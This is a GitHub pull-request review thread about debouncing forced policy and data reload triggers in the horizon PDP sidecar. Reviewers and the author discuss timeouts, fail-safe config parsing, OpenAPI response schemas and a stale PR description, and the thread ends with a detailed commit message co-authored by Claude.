Prose rewritten anyway, because even under (a) "a reload covering your request is already happening" was wrong — it's scheduled, not happening. Both route descriptions now say the follow-up "begins after your call, within PDP_TRIGGER_DEBOUNCE_SECONDS", and both gained the best-effort caveat that only the data route had. The class docstring's "this class never schedules future work" and "capping the work at two dispatches per call" are gone; the config description is updated too.

Comment thread horizon/debounce.py
# the next dispatch clears it right here, at the point where it actually serves it.
self._pending = False
try:
await run()

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] In-flight guard has no timeout: one stalled control-plane GET silently no-ops every trigger

Problem: await run() is unbounded, and _in_flight stays True for its entire duration. Every trigger arriving in that window returns 200 with {"triggered": false} and, per the published description (horizon/pdp.py:590), the caller is told a reload "covering your request is already happening" and not to retry.

For the data route, run() blocks on get_policy_data_config, which builds ClientSession(headers=..., trust_env=True) with no timeout argument (opal_client/data/updater.py:240-243) and therefore inherits aiohttp's 5-minute default. The module docstring acknowledges this at lines 34-37. The consequence is not acknowledged: a single stalled GET turns the PDP's only forced-reload escape hatch into a silent no-op for up to five minutes, with no distinguishing status code, no header, and no health signal — and the trailing edge then serves all of those absorbed triggers with exactly one catch-up run.

This is new shared state. Before this PR each trigger request performed its own reload, so one stalled request could not convert other callers' requests into no-ops. It is bounded delay rather than loss (the trailing edge does fire), which is why I have not rated it higher, but the window is long, it is unobservable to the caller, and it coincides with exactly the degraded-control-plane condition the feature targets.

Suggestion: Bound the in-flight duration so the guard cannot outlive a plausible reload: wrap the dispatch in asyncio.wait_for(run(), timeout=<a few seconds>), or pass an explicit aiohttp.ClientTimeout upstream. Independently, make the state observable — surface in_flight / in_flight_age in the response body or a debug field, and reconsider the "do not retry" wording for the in-flight case specifically, since a stalled reload is precisely the case where a caller retrying later is correct.

Example:

# horizon/debounce.py
MAX_DISPATCH_SECONDS: float = 30.0
...
        try:
            await asyncio.wait_for(run(), timeout=MAX_DISPATCH_SECONDS)
            self._last_dispatched = time.monotonic()
            ...
        except TimeoutError:
            logger.error(
                "{} reload dispatch exceeded {:g}s; releasing the in-flight guard so "
                "subsequent triggers are not silently absorbed.",
                self._name, MAX_DISPATCH_SECONDS,
            )
            raise

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Half-taken, and I'd like you to sanity-check the half I declined.

Declined: asyncio.wait_for(run(), ...). It cancels the inner coroutine, and for the data route that lands in the middle of a destructive sequence. DataUpdater.get_base_policy_data:

:268  await self._stop_polling_update_tasks()   # cancels + clears EVERY periodic poller
:271  sources_config = await self.get_policy_data_config(...)   # the unbounded GET
:296  self._polling_update_tasks.append(asyncio.create_task(...))  # the ONLY place they are recreated

The stall is the GET, so a 30s timeout lands squarely between 268 and 296 and permanently kills every periodic_update_interval data source. Nothing reschedules them except another successful get_base_policy_data — an OPAL reconnect, or a later trigger that gets through — and it's silent: no error, no log, just data that stops refreshing. Weighed against what it buys: the wedge is already bounded at aiohttp's 5-minute default and self-heals. Swapping a bounded, self-healing coalescing stall for open-ended silent staleness of every periodic source looked like the wrong side of the trade, especially under the degraded-control-plane conditions where both are most likely.

(wait_for also doesn't hard-bound it — it awaits the inner cancellation to complete, so an uncooperative coroutine holds the guard past the timeout anyway.)

Taken: the observability half, which I think was the actual complaint. MAX_DISPATCH_SECONDS = 30.0 is now a detection threshold rather than a cancellation one: past it, every coalesce logs at ERROR ("the control plane looks stalled and forced reloads are being absorbed, not served") instead of being buried at DEBUG. 30s is comfortable for detection — the awaited work is a task-cancel gather plus one small JSON GET.

The "silently absorbed" part is also materially better now for a reason that isn't in your comment: with the trailing edge armed on both guards, triggers absorbed during a stall set _pending and are served when it clears, rather than being dropped. So it's bounded delay rather than loss, which is closer to what the "do not retry" wording promises.

If you'd still like a hard release, the safe shape is wait_for(shield(task), ...) — releases the guard, leaves the dispatch running, worst case duplicates pollers once and self-heals. Happy to add it as a follow-up; I didn't want to smuggle it into a review-fix commit.

Comment thread horizon/pdp.py Outdated
# overridable and is clamped to [0, MAX_DEBOUNCE_SECONDS], so a fat-fingered override
# should be visible at startup rather than silently reinterpreted.
effective_window = clamp_window(sidecar_config.TRIGGER_DEBOUNCE_SECONDS)
if effective_window != sidecar_config.TRIGGER_DEBOUNCE_SECONDS:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] Unparseable remote-config value silently disables debouncing; valid string values log a false warning

Problem: Two problems in the same handful of lines, both stemming from comparing and coercing an untyped remote-config value. (1) Fail-open direction: clamp_window returns 0.0 on TypeError/ValueError (horizon/debounce.py:66-67), so a remote-config null or a typo such as "tem" turns the amplification mitigation off entirely rather than falling back to the declared 10.0 default. For a control the whole PR exists to provide, 'uninterpretable' should degrade to the safe default, not to disabled — the same reasoning the author applies at horizon/debounce.py:47-49 to justify clamping a fat-fingered large value instead of honouring it. (2) False warning: the startup check compares a float against the raw attribute, and confi's cast_from_json is no_cast for remote overrides — a fact the clamp_window docstring states explicitly at horizon/debounce.py:57-59. So a perfectly valid override delivered as the JSON string "30" yields 30.0 != "30" and logs PDP_TRIGGER_DEBOUNCE_SECONDS=30 is out of range; clamped to 30s (max 300s), which is false on both counts and directly undercuts the stated purpose of the branch ('a fat-fingered override should be visible at startup rather than silently reinterpreted', horizon/pdp.py:526-528). Neither case is tested: test_clamp_window parametrises floats only.

Suggestion: Give clamp_window an explicit fallback (clamp_window(value, default=10.0)) returning the default rather than 0.0 when the value is uninterpretable, and keep 0.0 reserved for an explicit, parseable 0. For the warning, compare against the coerced value — compute configured = float(...) where possible and warn only when the clamp actually changed a numeric value, so a type-only difference stays silent. Extend the test_clamp_window parametrisation with the shapes the helper is documented to handle: "30", None, "", and a non-numeric string.

Example:

# horizon/pdp.py
        configured = sidecar_config.TRIGGER_DEBOUNCE_SECONDS
        effective_window = clamp_window(configured)
        try:
            numeric = float(configured)
        except (TypeError, ValueError):
            numeric = None
        if numeric is None or effective_window != numeric:
            logger.warning("PDP_TRIGGER_DEBOUNCE_SECONDS={!r} is not a usable window; using {:g}s (max {:g}s).", configured, effective_window, MAX_DEBOUNCE_SECONDS)

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Both fixed in 2b3be4b, essentially as you wrote it.

Fail-open → fail-safe. resolve_window(value, default=DEFAULT_DEBOUNCE_SECONDS) returns (window, problem) where problem is "unparseable" | "clamped" | None; clamp_window is a thin wrapper for the per-request path. Anything uninterpretable — None, "tem", non-finite, and negatives — falls back to the default, so the mitigation stays on. I folded negatives in with your reasoning: -1 is a typo, not a request to disable. Only an explicit, parseable 0 disables the window now, which also makes a remote null distinguishable from a deliberate 0. Annotation is Any, not float — the old float hint contradicted the function's own docstring about what actually reaches it.

False warning. The comparison is now float-to-float inside resolve_window, so "30" reports no problem at all. The two cases got split, since they warrant different severities: unparseable logs at ERROR ("is not a usable window; falling back to the default 10s. Forced-reload trigger debouncing REMAINS ENABLED"), clamped stays at WARNING with an accurate "allowed 0-300s". Both use {!r} so 'tem' and 10.0 are distinguishable in logs.

Single-sourcing: DEFAULT_DEBOUNCE_SECONDS lives in debounce.py beside MAX_DEBOUNCE_SECONDS, and config.py imports it for the confi.float default — so the value the setting declares and the value the clamp substitutes cannot drift. Direction matters and I left a comment saying so: debounce.py must never import config.py back, and doesn't need to, since trigger() takes the window as a parameter.

Tests: test_clamp_window is extended with "30", None, "", "tem" and the negative, and there's a new test_resolve_window_reports_why_the_value_changed that pins the "30"-is-not-a-clamp case specifically, since that's the regression.

Comment thread horizon/pdp.py
# FastAPI publishes a handler docstring as the operation `description` in the
# customer-facing /openapi.json and /scalar explorer. The explicit summary=/description=
# below win over the docstring and are written for that audience.
@app.post(

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] New triggered field is undeclared in OpenAPI: schema is empty for all four routes

Problem: The PR goes out of its way to write customer-facing OpenAPI copy (the comment at horizon/pdp.py:574-577 says the summary=/description= are 'written for that audience', i.e. /openapi.json and /scalar), and that copy instructs clients to branch on a brand-new response field: 'triggered reports whether this call started a reload (true) or was coalesced into an existing one (false)'. But neither replacement route declares a response_model, and neither handler carries a return type annotation (async def trigger_policy_update(): at :594, async def trigger_data_update(): at :620). rg response_model horizon/pdp.py returns nothing. With no response_model and no return annotation, FastAPI emits the default 200 response with an empty JSON schema, so the published contract prose tells integrators to read a field the machine-readable schema does not describe - and code generators / typed SDKs get nothing to bind to. The same applies to the two legacy aliases at :543 and :554, though those are include_in_schema=False so only the two canonical routes are customer-visible. This is the one externally visible shape change in the PR, and it is the half that did not make it into the schema.

Suggestion: Declare the shape once and reuse it on both canonical routes, e.g. a small class TriggerResponse(BaseModel): status: str; triggered: bool and response_model=TriggerResponse on the two @app.post decorators (or simply annotate the handlers -> TriggerResponse and return it). That makes triggered appear in /openapi.json and /scalar alongside the prose that already tells clients to use it, and it pins the body shape against future drift.

Example:

class TriggerResponse(BaseModel):
    status: str
    triggered: bool

@app.post(
    "/policy-updater/trigger",
    status_code=status.HTTP_200_OK,
    response_model=TriggerResponse,
    tags=["Policy Updater"],
    dependencies=[Depends(enforce_pdp_token)],
    summary="Trigger a full policy reload",
    description=(...),
)
async def trigger_policy_update() -> TriggerResponse:
    logger.info("triggered policy update from api")
    return TriggerResponse(status="ok", triggered=await self._debounced_policy_reload())

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 2b3be4b. TriggerResponse (pydantic v1, matching the <2 pin) with status: Literal["ok"] and triggered: bool, response_model= plus return annotations on all four routes.

Verified against the generated schema rather than assuming:

/policy-updater/trigger -> responses: ['200']
   200 schema: {"$ref": "#/components/schemas/TriggerResponse"}
/data-updater/trigger   -> responses: ['200', '502', '503', '504']
   200 schema: {"$ref": "#/components/schemas/TriggerResponse"}

Added responses={502, 503, 504} on the data route too — the prose described a 503 the schema never mentioned, and the new gateway errors would have had the same problem. test_openapi_declares_the_trigger_response_shape pins all of it so it can't drift back.

Put it on the two legacy aliases as well. Not for docs — include_in_schema=False keeps them out, and the test asserts they stay out — but because response_model also validates at runtime, and that's what keeps all four bodies in lockstep given they share one debouncer.

One thing your comment made me catch on myself: I first wrote the rationale as the model's docstring, and pydantic publishes that as the schema description, so /scalar was showing "Declared as a response_model (rather than left as a bare dict)…" to customers — the exact trap the note at pdp.py:574 warns about for handlers. Moved to a comment; the docstring is now "The result of a forced-reload trigger."

On placement: I put it at module level in pdp.py rather than horizon/system/schemas.py, since that package is the /version + /_exit system router and these aren't system routes. horizon/connectivity/api.py (models defined in the module that mounts the routes) felt like the closer precedent. Easy to move if you'd rather it lived in a schemas module.

Comment thread horizon/pdp.py Outdated
# replaces, so a 200 means the same thing it always did.
logger.info("triggered policy update from api")
triggered = await self._debounced_policy_reload()
return {"status": "ok", "triggered": triggered}

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[LOW] PR description contradicts the shipped code on the response body and the window semantics

Problem: The description is stale against the head commit in ways that matter for review and release notes, and it makes safety claims the code does not support. It states 'Body stays exactly {"status": "ok"} so SDKs never error-spiral' — but all four handlers now return an extra triggered field, which is the one externally visible shape change in this PR. It states '_last_fired recorded only on success, so a failed pull doesn't burn the window' — there is no _last_fired; the field is _last_dispatched, it records a dispatch, and a test exists specifically to pin the opposite ('there is no "only on success" guarantee to be had at this layer'). It cites a review pass 'confirming ... the success-only timestamp holds', a property that no longer exists. It still carries a '⚠️ Draft — rebase pending' section although the PR is not a draft and main has already been merged in (f92bb46). A reader who trusts the description will conclude no client-visible change shipped, which is the opposite of the truth.

Suggestion: Rewrite the description against the head commit: state that the body gains triggered, that _last_dispatched is a dispatch timestamp with no success guarantee (both updaters being fire-and-forget), and drop the draft/rebase section and the stale review-pass claim. If a changelog or version bump is expected for a customer-visible body change on four endpoints, add it here.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Rewritten against the head commit — you were right that it had drifted into actively misleading territory, and the {"status": "ok"} claim was the worst of it, since it told a reader the exact opposite of the one client-visible change.

Fixed: the body section now states that triggered is added (and that status is unchanged, which is the part that matters for SDK compatibility); the _last_fired / "only on success" paragraph is gone and replaced with the actual _last_dispatched attempt semantics; the stale review-pass claim and the "⚠️ Draft — rebase pending" section are both removed.

Also took the release-notes point. There's now a dedicated "Client-visible changes" section listing the three externally visible items rather than leaving them scattered through the prose:

  1. the body gains triggered (status unchanged),
  2. a failed control-plane fetch answers 502/504 + Retry-After instead of a bare 500,
  3. a retry inside the window after a failure returns 200 {"triggered": false} rather than a second 500.

(3) is new in this round and is the one I'd most want a second opinion on before release — it's the customer-facing consequence of making a failed dispatch consume the window, discussed on your debounce.py:162 thread.

Zeev's review raised 7 non-blocking findings. All are real; six are fixed as
suggested, one is fixed differently because the suggested remedy regresses.

The three MEDIUMs are coupled and land together:

* A failed dispatch now consumes the debounce window. `_last_dispatched` is
  stamped in a `finally` rather than after `await run()` succeeds, so a control
  plane returning 5xx (get_policy_data_config raises ClientError on any non-200)
  is damped instead of admitting a fresh GET per request. Cancellation is the one
  exception: the attempt was abandoned, not made.
* A window-coalesced trigger is no longer dropped. Both guards now arm a trailing
  run that fires at window expiry, so "staleness is bounded by window_seconds" is
  a guarantee rather than a comment. Dropping it lost the refresh permanently -
  the PDP is pubsub-driven with no periodic full-refresh - which PER-15248
  explicitly forbids. Shipping the window change without this would turn a hard
  failure into a 200 {"triggered": false} for a reload that never happens.
* The trailing run moved off the request path into a task. It used to be awaited
  inline by whichever caller won the dispatch, billing that caller for a second
  full reload it never asked for, against the 60s client timeout of the Rust
  server that fronts horizon. The chain terminates: `_pending` is written by
  `trigger()` alone, so chain length is bounded by real triggers.

Not taken: wrapping `run()` in `asyncio.wait_for` to bound the in-flight guard.
`get_base_policy_data` tears down every periodic poller (updater.py:268) before
the unbounded config GET and only recreates them at the end (:296), so a timeout
landing on the stalled GET would kill periodic data updates outright, with no
error and no recovery short of an OPAL reconnect - open-ended silent staleness in
place of a bounded, self-healing stall. The stall is made observable instead:
past MAX_DISPATCH_SECONDS every coalesce logs at ERROR.

Remaining findings:

* clamp_window fails safe. An uninterpretable remote override (null, "tem", a
  negative) now falls back to the default instead of 0, so a control-plane typo
  can no longer switch the mitigation off fleet-wide; only an explicit, parseable
  0 disables it. resolve_window reports why a value changed, which kills the false
  "out of range; clamped" warning a valid JSON-string override used to trigger
  (confi's cast_from_json is no_cast). The default is single-sourced in
  debounce.py; config.py imports it (one-way edge).
* TriggerResponse is declared as a response_model on all four routes, so
  `triggered` appears in /openapi.json instead of an empty 200 schema, and the
  data route documents its 502/503/504. Runtime validation keeps all four bodies
  in lockstep. Its docstring is customer-facing; rationale lives in comments.
* A failed control-plane fetch answers 502 (504 on timeout) with Retry-After,
  not a bare 500 - the one code every SDK and mesh retries. 502/504 matches
  horizon/enforcer/api.py and keeps 503 meaning "data updater disabled", a
  permanent config state a client must be able to tell apart. Retry-After is the
  window, since the failed attempt just consumed it.

Also fixed a bug found reviewing this change: cancellation during the trailing
run's wait bypassed the inner handler, so aclose() - which usually finds the task
waiting, with `_pending` still set - armed a replacement task mid-teardown. Test
added; it fails without the fix.

183 passed; ruff check and ruff format clean.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants